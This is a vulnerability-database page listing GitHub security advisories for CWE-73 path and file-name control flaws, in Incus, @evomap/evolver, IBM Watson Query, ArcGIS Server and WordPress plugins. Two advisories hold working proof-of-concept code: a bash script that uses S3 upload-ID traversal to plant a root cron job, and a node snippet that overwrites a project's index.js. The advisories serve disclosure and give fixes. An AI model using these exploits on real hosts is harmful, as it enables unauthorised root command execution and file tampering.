CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
912 vulnerabilities reference this CWE, most recent first.
GHSA-C9GV-MP37-24RP
Vulnerability from github – Published: 2026-06-03 15:30 – Updated: 2026-06-03 15:30The ugw-delete-file method allows a remote attacker with user privileges to delete arbitrary local files due to insufficient validation of user-controlled input.
{
"affected": [],
"aliases": [
"CVE-2026-35077"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-03T13:16:19Z",
"severity": "HIGH"
},
"details": "The ugw-delete-file method allows a remote attacker with user privileges to delete arbitrary local files due to insufficient validation of user-controlled input.",
"id": "GHSA-c9gv-mp37-24rp",
"modified": "2026-06-03T15:30:41Z",
"published": "2026-06-03T15:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35077"
},
{
"type": "WEB",
"url": "https://www.certvde.com/en/advisories/VDE-2026-039"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-C9VM-R7MJ-WM49
Vulnerability from github – Published: 2025-02-22 03:30 – Updated: 2025-02-22 03:30IBM Watson Query on Cloud Pak for Data 4.0.0 through 4.0.9, 4.5.0 through 4.5.3, 4.6.0 through 4.6.6, 4.7.0 through 4.7.4, and 4.8.0 through 4.8.7 could allow unauthorized data access from a remote data source object due to improper privilege management.
{
"affected": [],
"aliases": [
"CVE-2024-22341"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-22T01:15:10Z",
"severity": "MODERATE"
},
"details": "IBM Watson Query on Cloud Pak for Data 4.0.0 through 4.0.9, 4.5.0 through 4.5.3, 4.6.0 through 4.6.6, 4.7.0 through 4.7.4, and 4.8.0 through 4.8.7 could allow unauthorized data access from a remote data source object due to improper privilege management.",
"id": "GHSA-c9vm-r7mj-wm49",
"modified": "2025-02-22T03:30:37Z",
"published": "2025-02-22T03:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22341"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7183851"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CCJC-4QC3-JXQC
Vulnerability from github – Published: 2026-06-26 18:47 – Updated: 2026-06-26 18:47Summary
The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.
In internal/server/storage/s3/local/multipart.go, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33
PoC
Setup
# Expose the S3 API and create a bucket
incus config set core.storage_buckets_address=:8555
incus storage volume create default bucket
#> note the credentials
Exploitation
The below script was mostly generated.
#!/usr/bin/env bash
set -euo pipefail
if [ $# -lt 4 ]; then
printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2
exit 1
fi
endpoint="${1%/}"
bucket="${2}"
access="${3}"
secret="${4}"
region="us-east-1"
service="s3"
key="anything"
part="1"
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target"
body="* * * * * root /bin/sh -c '$cmd'
"
uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key"
uri_path="${uri_path#/}"
uri_path="/$uri_path"
host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
qs="partNumber=$part&uploadId=${upload_id//\//%2F}"
url="$endpoint/$bucket/$key?$qs"
amz_date=$(date -u +%Y%m%dT%H%M%SZ)
date_scope="${amz_date:0:8}"
scope="$date_scope/$region/$service/aws4_request"
body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
signed="host;x-amz-content-sha256;x-amz-date"
canonical="PUT
$uri_path
$qs
host:$host
x-amz-content-sha256:$body_hash
x-amz-date:$amz_date
$signed
$body_hash"
canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')"
string_to_sign="AWS4-HMAC-SHA256
$amz_date
$scope
$canonical_hash"
hmac_hex() {
printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256
}
k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
k_date=$(hmac_hex "$k_date" "$date_scope")
k_region=$(hmac_hex "$k_date" "$region")
k_service=$(hmac_hex "$k_region" "$service")
k_signing=$(hmac_hex "$k_service" "aws4_request")
sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"
printf '# body:\n%s' "${body}"
curl -ksS -X PUT "${url}" \
-H "Host: ${host}" \
-H "X-Amz-Date: ${amz_date}" \
-H "X-Amz-Content-Sha256: ${body_hash}" \
-H "Authorization: ${auth}" \
--data-binary "${body}"
Impact
Arbitrary file write on the host. Possibly leading to arbitrary command execution.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v7/cmd/incusd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48753"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T18:47:25Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.\n\nIn `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33\n\n## PoC\n\n### Setup\n\n```\n# Expose the S3 API and create a bucket\nincus config set core.storage_buckets_address=:8555\nincus storage volume create default bucket\n#\u003e note the credentials\n```\n\n### Exploitation\n\nThe below script was mostly generated.\n\n```\n#!/usr/bin/env bash\nset -euo pipefail\n\nif [ $# -lt 4 ]; then\n\tprintf \u0027usage: $0 endpoint bucket access-key secret-key\\n\u0027 \u003e\u00262\n\texit 1\nfi\n\nendpoint=\"${1%/}\"\nbucket=\"${2}\"\naccess=\"${3}\"\nsecret=\"${4}\"\n\nregion=\"us-east-1\"\nservice=\"s3\"\nkey=\"anything\"\npart=\"1\"\nupload_id=\"../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d\"\ntarget=\"/etc/cron.d/part-00001\"\ncmd=\"id \u003e /incus-s3-uploadid-bash-rce; rm -f $target\"\nbody=\"* * * * * root /bin/sh -c \u0027$cmd\u0027\n\"\n\nuri_path=\"$(printf \u0027%s\u0027 \"$endpoint\" | sed -E \u0027s#^[a-z]+://[^/]+##\u0027)/$bucket/$key\"\nuri_path=\"${uri_path#/}\"\nuri_path=\"/$uri_path\"\nhost=\"$(printf \u0027%s\u0027 \"$endpoint\" | sed -E \u0027s#^[a-z]+://([^/]+).*#\\1#\u0027)\"\nqs=\"partNumber=$part\u0026uploadId=${upload_id//\\//%2F}\"\nurl=\"$endpoint/$bucket/$key?$qs\"\n\namz_date=$(date -u +%Y%m%dT%H%M%SZ)\ndate_scope=\"${amz_date:0:8}\"\nscope=\"$date_scope/$region/$service/aws4_request\"\nbody_hash=$(printf \u0027%s\u0027 \"$body\" | sha256sum | awk \u0027{print $1}\u0027)\nsigned=\"host;x-amz-content-sha256;x-amz-date\"\n\ncanonical=\"PUT\n$uri_path\n$qs\nhost:$host\nx-amz-content-sha256:$body_hash\nx-amz-date:$amz_date\n\n$signed\n$body_hash\"\ncanonical_hash=\"$(printf \u0027%s\u0027 \"$canonical\" | sha256sum | awk \u0027{print $1}\u0027)\"\nstring_to_sign=\"AWS4-HMAC-SHA256\n$amz_date\n$scope\n$canonical_hash\"\n\nhmac_hex() {\n\tprintf \u0027%s\u0027 \"${2}\" | openssl dgst -sha256 -mac HMAC -macopt \"hexkey:${1}\" -binary | xxd -p -c 256\n}\n\nk_date=$(printf \u0027AWS4%s\u0027 \"$secret\" | xxd -p -c 256)\nk_date=$(hmac_hex \"$k_date\" \"$date_scope\")\nk_region=$(hmac_hex \"$k_date\" \"$region\")\nk_service=$(hmac_hex \"$k_region\" \"$service\")\nk_signing=$(hmac_hex \"$k_service\" \"aws4_request\")\nsig=$(hmac_hex \"$k_signing\" \"$string_to_sign\")\nauth=\"AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}\"\n\nprintf \u0027# body:\\n%s\u0027 \"${body}\"\n\ncurl -ksS -X PUT \"${url}\" \\\n\t-H \"Host: ${host}\" \\\n\t-H \"X-Amz-Date: ${amz_date}\" \\\n\t-H \"X-Amz-Content-Sha256: ${body_hash}\" \\\n\t-H \"Authorization: ${auth}\" \\\n\t--data-binary \"${body}\"\n```\n\n\n## Impact\n\nArbitrary file write on the host. Possibly leading to arbitrary command execution.",
"id": "GHSA-ccjc-4qc3-jxqc",
"modified": "2026-06-26T18:47:25Z",
"published": "2026-06-26T18:47:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-ccjc-4qc3-jxqc"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Incus has an arbitrary file write via path traversal in S3 multipart upload"
}
GHSA-CFCJ-HQPF-HCCF
Vulnerability from github – Published: 2026-05-05 21:15 – Updated: 2026-05-05 21:15Summary
The evolver fetch subcommand in index.js writes Hub-supplied bundled_files[] into a directory derived from a Hub-supplied skill_id. When --out is not used, the path-sanitizing regex permits . characters, allowing a skill_id of .. to escape the skills/ subdirectory and resolve to the user's current working directory. Combined with the file-extension allow-list (which includes .js/.json/.sh/.py/.md), this lets a malicious Hub overwrite the victim's index.js, package.json, or other files in cwd, achieving remote code execution on the next invocation of the evolver.
Details
The vulnerable code is in the fetch command handler:
// index.js:847-873
const data = await resp.json();
const outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out='));
const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_');
let outDir;
if (outFlag) {
const rawOut = outFlag.slice('--out='.length);
// ...
const resolvedOut = path.resolve(process.cwd(), rawOut);
const cwd = path.resolve(process.cwd());
const rel = path.relative(cwd, resolvedOut);
if (rel.startsWith('..') || path.isAbsolute(rel)) { // <-- traversal check exists for --out
console.error('[fetch] --out= must resolve to a path inside the current working directory');
process.exit(1);
}
outDir = resolvedOut;
} else {
outDir = path.join('.', 'skills', safeId); // <-- NO traversal check
}
if (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });
Three problems compose:
- The regex allow-list permits
.—[^a-zA-Z0-9_\-\.]only strips characters outside this set, so the literal dot is preserved. Askill_idof..(verified:'..'.replace(/[^a-zA-Z0-9_\-\.]/g,'_') === '..') survives sanitization. path.joincollapses..traversal —path.join('.', 'skills', '..')evaluates to'.'(the cwd), sooutDiris now the user's working directory rather than./skills/<id>.- The traversal validation only runs in the
--outbranch — the default branch (the documented common case forevolver fetch --skill <id>) has nopath.relative(...).startsWith('..')check.
The bundled-files write loop:
// index.js:881-906
const ALLOWED_SKILL_EXTENSIONS = new Set([
'.js', '.mjs', '.cjs', '.ts', '.json', '.md', '.txt',
'.sh', '.py', '.yml', '.yaml',
]);
// ...
for (const file of bundled) {
if (!file || !file.name || typeof file.content !== 'string') continue;
const safeName = path.basename(file.name); // basename of "index.js" is "index.js"
const ext = path.extname(safeName).toLowerCase();
if (!ALLOWED_SKILL_EXTENSIONS.has(ext)) { /* skip */ continue; }
if (Buffer.byteLength(file.content, 'utf8') > MAX_SKILL_FILE_BYTES) { /* skip */ continue; }
fs.writeFileSync(path.join(outDir, safeName), file.content, 'utf8');
}
path.basename strips directory components from the file name, but a basename of index.js is still index.js. The extension allow-list contains .js, so an attacker can write ./index.js (the evolver entry point itself), ./package.json, ./SKILL.md, etc.
There is no signature verification on the Hub response. buildHubHeaders() only authenticates the outgoing request; the response body is trusted as-is. The Hub stores skills uploaded by network participants, so any participant who can set a stored skill_id field to .. triggers this on every download.
PoC
Reproduces the exact code path from index.js:849-905:
cd /tmp && rm -rf evolver-poc-validate && mkdir evolver-poc-validate && \
cp /path/to/EvoMap-evolver-src/index.js evolver-poc-validate/
cd evolver-poc-validate
wc -l index.js # 1098 index.js (legitimate)
node -e "
const fs=require('fs'),path=require('path');
const data={
skill_id:'..',
content:'x',
bundled_files:[{name:'index.js',content:'#!/usr/bin/env node\nconsole.log(\"PWNED\");'}]
};
const safeId=String(data.skill_id||'x').replace(/[^a-zA-Z0-9_\-\.]/g,'_');
const outDir=path.join('.','skills',safeId);
console.log('safeId:',JSON.stringify(safeId)); // '..'
console.log('outDir:',JSON.stringify(outDir)); // '.'
if(!fs.existsSync(outDir))fs.mkdirSync(outDir,{recursive:true});
for(const f of data.bundled_files){
const n=path.basename(f.name);
fs.writeFileSync(path.join(outDir,n),f.content);
}"
wc -l index.js # 1 index.js (clobbered)
head -3 index.js
# #!/usr/bin/env node
# console.log("PWNED");
Verified output: 1098 → 1 line; the legitimate evolver entry point is replaced with attacker-controlled JavaScript. Any subsequent node index.js <command> (including the --loop daemon mode that users run continuously) executes the attacker payload.
End-to-end attack:
1. Attacker uploads a skill to the A2A Hub whose stored skill_id is .. (or operates a malicious Hub / MitMs the connection / supplies a malicious A2A_HUB_URL).
2. The malicious response also carries bundled_files: [{name: 'index.js', content: '<attacker JS>'}].
3. Victim runs node index.js fetch --skill=anything from the evolver checkout (the documented usage).
4. ./index.js is overwritten in place.
5. Victim's next node index.js invocation — even just node index.js --help or the run --loop daemon — executes attacker code with the victim's privileges.
Impact
- Remote code execution in the victim's environment with the privileges of the evolver process. Because the loop daemon (
node index.js run --loop) is the documented long-running mode, the malicious code typically gets executed within seconds of the next iteration. - Attacker can also overwrite
package.json(allowed extension),SKILL.md,.env-adjacent.json/.yaml/.ymlconfig files, and any whitelisted file already present in the cwd. - Trust boundary violation:
evolver fetchis presented as a download operation; users would not expect it to overwrite the application binary or project files. The--outbranch was hardened against exactly this; the default branch was missed. - A single malicious skill upload compromises every user that fetches it.
Recommended Fix
Reject safeId values that are not single non-traversing path segments before joining, or reuse the same path.relative check used in the --out branch. Minimal patch around index.js:849:
const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_');
if (
safeId === '' ||
safeId === '.' ||
safeId === '..' ||
safeId.includes('/') ||
safeId.includes('\\') ||
safeId.includes('\0')
) {
console.error('[fetch] Hub returned an invalid skill_id: ' + JSON.stringify(safeId));
process.exit(1);
}
Defense in depth — apply the existing traversal check to the default branch as well:
} else {
const candidate = path.resolve(process.cwd(), 'skills', safeId);
const skillsRoot = path.resolve(process.cwd(), 'skills');
const rel = path.relative(skillsRoot, candidate);
if (rel.startsWith('..') || path.isAbsolute(rel)) {
console.error('[fetch] Hub returned a skill_id that escapes the skills/ directory');
process.exit(1);
}
outDir = candidate;
}
Additionally, consider:
- Removing . from the regex allow-list (skill IDs typically don't need dots).
- Verifying a Hub-supplied signature over the response payload before writing any file to disk.
- Disallowing bundled-file safeName values that match top-level project files (index.js, package.json, package-lock.json, etc.) regardless of outDir.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.70.0-beta.4"
},
"package": {
"ecosystem": "npm",
"name": "@evomap/evolver"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.70.0-beta.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T21:15:09Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe `evolver fetch` subcommand in `index.js` writes Hub-supplied `bundled_files[]` into a directory derived from a Hub-supplied `skill_id`. When `--out` is not used, the path-sanitizing regex permits `.` characters, allowing a `skill_id` of `..` to escape the `skills/` subdirectory and resolve to the user\u0027s current working directory. Combined with the file-extension allow-list (which includes `.js`/`.json`/`.sh`/`.py`/`.md`), this lets a malicious Hub overwrite the victim\u0027s `index.js`, `package.json`, or other files in cwd, achieving remote code execution on the next invocation of the evolver.\n\n## Details\n\nThe vulnerable code is in the `fetch` command handler:\n\n```js\n// index.js:847-873\nconst data = await resp.json();\nconst outFlag = args.find(a =\u003e typeof a === \u0027string\u0027 \u0026\u0026 a.startsWith(\u0027--out=\u0027));\nconst safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\\-\\.]/g, \u0027_\u0027);\nlet outDir;\nif (outFlag) {\n const rawOut = outFlag.slice(\u0027--out=\u0027.length);\n // ...\n const resolvedOut = path.resolve(process.cwd(), rawOut);\n const cwd = path.resolve(process.cwd());\n const rel = path.relative(cwd, resolvedOut);\n if (rel.startsWith(\u0027..\u0027) || path.isAbsolute(rel)) { // \u003c-- traversal check exists for --out\n console.error(\u0027[fetch] --out= must resolve to a path inside the current working directory\u0027);\n process.exit(1);\n }\n outDir = resolvedOut;\n} else {\n outDir = path.join(\u0027.\u0027, \u0027skills\u0027, safeId); // \u003c-- NO traversal check\n}\n\nif (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });\n```\n\nThree problems compose:\n\n1. **The regex allow-list permits `.`** \u2014 `[^a-zA-Z0-9_\\-\\.]` only strips characters *outside* this set, so the literal dot is preserved. A `skill_id` of `..` (verified: `\u0027..\u0027.replace(/[^a-zA-Z0-9_\\-\\.]/g,\u0027_\u0027) === \u0027..\u0027`) survives sanitization.\n2. **`path.join` collapses `..` traversal** \u2014 `path.join(\u0027.\u0027, \u0027skills\u0027, \u0027..\u0027)` evaluates to `\u0027.\u0027` (the cwd), so `outDir` is now the user\u0027s working directory rather than `./skills/\u003cid\u003e`.\n3. **The traversal validation only runs in the `--out` branch** \u2014 the default branch (the documented common case for `evolver fetch --skill \u003cid\u003e`) has no `path.relative(...).startsWith(\u0027..\u0027)` check.\n\nThe bundled-files write loop:\n\n```js\n// index.js:881-906\nconst ALLOWED_SKILL_EXTENSIONS = new Set([\n \u0027.js\u0027, \u0027.mjs\u0027, \u0027.cjs\u0027, \u0027.ts\u0027, \u0027.json\u0027, \u0027.md\u0027, \u0027.txt\u0027,\n \u0027.sh\u0027, \u0027.py\u0027, \u0027.yml\u0027, \u0027.yaml\u0027,\n]);\n// ...\nfor (const file of bundled) {\n if (!file || !file.name || typeof file.content !== \u0027string\u0027) continue;\n const safeName = path.basename(file.name); // basename of \"index.js\" is \"index.js\"\n const ext = path.extname(safeName).toLowerCase();\n if (!ALLOWED_SKILL_EXTENSIONS.has(ext)) { /* skip */ continue; }\n if (Buffer.byteLength(file.content, \u0027utf8\u0027) \u003e MAX_SKILL_FILE_BYTES) { /* skip */ continue; }\n fs.writeFileSync(path.join(outDir, safeName), file.content, \u0027utf8\u0027);\n}\n```\n\n`path.basename` strips directory components from the *file name*, but a basename of `index.js` is still `index.js`. The extension allow-list contains `.js`, so an attacker can write `./index.js` (the evolver entry point itself), `./package.json`, `./SKILL.md`, etc.\n\nThere is no signature verification on the Hub response. `buildHubHeaders()` only authenticates the *outgoing* request; the response body is trusted as-is. The Hub stores skills uploaded by network participants, so any participant who can set a stored `skill_id` field to `..` triggers this on every download.\n\n## PoC\n\nReproduces the exact code path from `index.js:849-905`:\n\n```bash\ncd /tmp \u0026\u0026 rm -rf evolver-poc-validate \u0026\u0026 mkdir evolver-poc-validate \u0026\u0026 \\\n cp /path/to/EvoMap-evolver-src/index.js evolver-poc-validate/\ncd evolver-poc-validate\nwc -l index.js # 1098 index.js (legitimate)\n\nnode -e \"\nconst fs=require(\u0027fs\u0027),path=require(\u0027path\u0027);\nconst data={\n skill_id:\u0027..\u0027,\n content:\u0027x\u0027,\n bundled_files:[{name:\u0027index.js\u0027,content:\u0027#!/usr/bin/env node\\nconsole.log(\\\"PWNED\\\");\u0027}]\n};\nconst safeId=String(data.skill_id||\u0027x\u0027).replace(/[^a-zA-Z0-9_\\-\\.]/g,\u0027_\u0027);\nconst outDir=path.join(\u0027.\u0027,\u0027skills\u0027,safeId);\nconsole.log(\u0027safeId:\u0027,JSON.stringify(safeId)); // \u0027..\u0027\nconsole.log(\u0027outDir:\u0027,JSON.stringify(outDir)); // \u0027.\u0027\nif(!fs.existsSync(outDir))fs.mkdirSync(outDir,{recursive:true});\nfor(const f of data.bundled_files){\n const n=path.basename(f.name);\n fs.writeFileSync(path.join(outDir,n),f.content);\n}\"\n\nwc -l index.js # 1 index.js (clobbered)\nhead -3 index.js\n# #!/usr/bin/env node\n# console.log(\"PWNED\");\n```\n\nVerified output: 1098 \u2192 1 line; the legitimate evolver entry point is replaced with attacker-controlled JavaScript. Any subsequent `node index.js \u003ccommand\u003e` (including the `--loop` daemon mode that users run continuously) executes the attacker payload.\n\nEnd-to-end attack:\n1. Attacker uploads a skill to the A2A Hub whose stored `skill_id` is `..` (or operates a malicious Hub / MitMs the connection / supplies a malicious `A2A_HUB_URL`).\n2. The malicious response also carries `bundled_files: [{name: \u0027index.js\u0027, content: \u0027\u003cattacker JS\u003e\u0027}]`.\n3. Victim runs `node index.js fetch --skill=anything` from the evolver checkout (the documented usage).\n4. `./index.js` is overwritten in place.\n5. Victim\u0027s next `node index.js` invocation \u2014 even just `node index.js --help` or the `run --loop` daemon \u2014 executes attacker code with the victim\u0027s privileges.\n\n## Impact\n\n- **Remote code execution** in the victim\u0027s environment with the privileges of the evolver process. Because the loop daemon (`node index.js run --loop`) is the documented long-running mode, the malicious code typically gets executed within seconds of the next iteration.\n- Attacker can also overwrite `package.json` (allowed extension), `SKILL.md`, `.env`-adjacent `.json`/`.yaml`/`.yml` config files, and any whitelisted file already present in the cwd.\n- Trust boundary violation: `evolver fetch` is presented as a *download* operation; users would not expect it to overwrite the application binary or project files. The `--out` branch was hardened against exactly this; the default branch was missed.\n- A single malicious skill upload compromises every user that fetches it.\n\n## Recommended Fix\n\nReject `safeId` values that are not single non-traversing path segments before joining, or reuse the same `path.relative` check used in the `--out` branch. Minimal patch around `index.js:849`:\n\n```js\nconst safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\\-\\.]/g, \u0027_\u0027);\nif (\n safeId === \u0027\u0027 ||\n safeId === \u0027.\u0027 ||\n safeId === \u0027..\u0027 ||\n safeId.includes(\u0027/\u0027) ||\n safeId.includes(\u0027\\\\\u0027) ||\n safeId.includes(\u0027\\0\u0027)\n) {\n console.error(\u0027[fetch] Hub returned an invalid skill_id: \u0027 + JSON.stringify(safeId));\n process.exit(1);\n}\n```\n\nDefense in depth \u2014 apply the existing traversal check to the default branch as well:\n\n```js\n} else {\n const candidate = path.resolve(process.cwd(), \u0027skills\u0027, safeId);\n const skillsRoot = path.resolve(process.cwd(), \u0027skills\u0027);\n const rel = path.relative(skillsRoot, candidate);\n if (rel.startsWith(\u0027..\u0027) || path.isAbsolute(rel)) {\n console.error(\u0027[fetch] Hub returned a skill_id that escapes the skills/ directory\u0027);\n process.exit(1);\n }\n outDir = candidate;\n}\n```\n\nAdditionally, consider:\n- Removing `.` from the regex allow-list (skill IDs typically don\u0027t need dots).\n- Verifying a Hub-supplied signature over the response payload before writing any file to disk.\n- Disallowing bundled-file `safeName` values that match top-level project files (`index.js`, `package.json`, `package-lock.json`, etc.) regardless of `outDir`.",
"id": "GHSA-cfcj-hqpf-hccf",
"modified": "2026-05-05T21:15:09Z",
"published": "2026-05-05T21:15:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-cfcj-hqpf-hccf"
},
{
"type": "PACKAGE",
"url": "https://github.com/EvoMap/evolver"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@evomap/evolver: Path Traversal in `evolver fetch` default-branch `safeId` allows Hub-controlled overwrite of project files (RCE)"
}
GHSA-CG43-2WF7-3645
Vulnerability from github – Published: 2025-06-06 12:30 – Updated: 2026-02-04 15:30An external control of file name or path vulnerability in the delete file function of Soar Cloud HRD Human Resource Management System through version 7.3.2025.0408 allows remote attackers to delete partial files by specifying arbitrary file paths.
{
"affected": [],
"aliases": [
"CVE-2025-48783"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-06T10:15:24Z",
"severity": "HIGH"
},
"details": "An external control of file name or path vulnerability in the delete file function of Soar Cloud HRD Human Resource Management System through version 7.3.2025.0408 allows remote attackers to delete partial files by specifying arbitrary file paths.",
"id": "GHSA-cg43-2wf7-3645",
"modified": "2026-02-04T15:30:27Z",
"published": "2025-06-06T12:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48783"
},
{
"type": "WEB",
"url": "https://zuso.ai/advisory/za-2025-08"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CG48-XW7Q-CPC8
Vulnerability from github – Published: 2025-03-03 21:31 – Updated: 2025-04-10 21:31There is a local file inclusion vulnerability in ArcGIS Server 10.9.1 thru 11.3 that may allow a remote, unauthenticated attacker to craft a URL that could potentially disclose sensitive configuration information by reading internal files from the remote server. Due to the nature of the files accessible in this vulnerability the impact to confidentiality is High there is no impact to both integrity or availability.
{
"affected": [],
"aliases": [
"CVE-2024-51961"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-03T20:15:42Z",
"severity": "HIGH"
},
"details": "There is a local file inclusion vulnerability in ArcGIS Server 10.9.1 thru 11.3 that may allow a remote, unauthenticated attacker to craft a URL that could potentially disclose sensitive configuration information by reading internal files from the remote server.\u00a0 Due to the nature of the files accessible in this vulnerability the impact to confidentiality is High there is no impact to both integrity or availability.",
"id": "GHSA-cg48-xw7q-cpc8",
"modified": "2025-04-10T21:31:07Z",
"published": "2025-03-03T21:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51961"
},
{
"type": "WEB",
"url": "https://www.esri.com/arcgis-blog/products/trust-arcgis/administration/arcgis-server-security-2025-update-1-patch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CG56-MJ33-G8JQ
Vulnerability from github – Published: 2024-09-11 09:31 – Updated: 2024-09-11 09:31The WP Delicious – Recipe Plugin for Food Bloggers (formerly Delicious Recipes) plugin for WordPress is vulnerable to arbitrary file movement and reading due to insufficient file path validation in the save_edit_profile_details() function in all versions up to, and including, 1.6.9. This makes it possible for authenticated attackers, with subscriber-level access and above, to move arbitrary files on the server, which can easily lead to remote code execution when the right file is moved (such as wp-config.php). This can also lead to the reading of arbitrary files that may contain sensitive information like wp-config.php.
{
"affected": [],
"aliases": [
"CVE-2024-7626"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-11T08:15:01Z",
"severity": "HIGH"
},
"details": "The WP Delicious \u2013 Recipe Plugin for Food Bloggers (formerly Delicious Recipes) plugin for WordPress is vulnerable to arbitrary file movement and reading due to insufficient file path validation in the save_edit_profile_details() function in all versions up to, and including, 1.6.9. This makes it possible for authenticated attackers, with subscriber-level access and above, to move arbitrary files on the server, which can easily lead to remote code execution when the right file is moved (such as wp-config.php). This can also lead to the reading of arbitrary files that may contain sensitive information like wp-config.php.",
"id": "GHSA-cg56-mj33-g8jq",
"modified": "2024-09-11T09:31:12Z",
"published": "2024-09-11T09:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7626"
},
{
"type": "WEB",
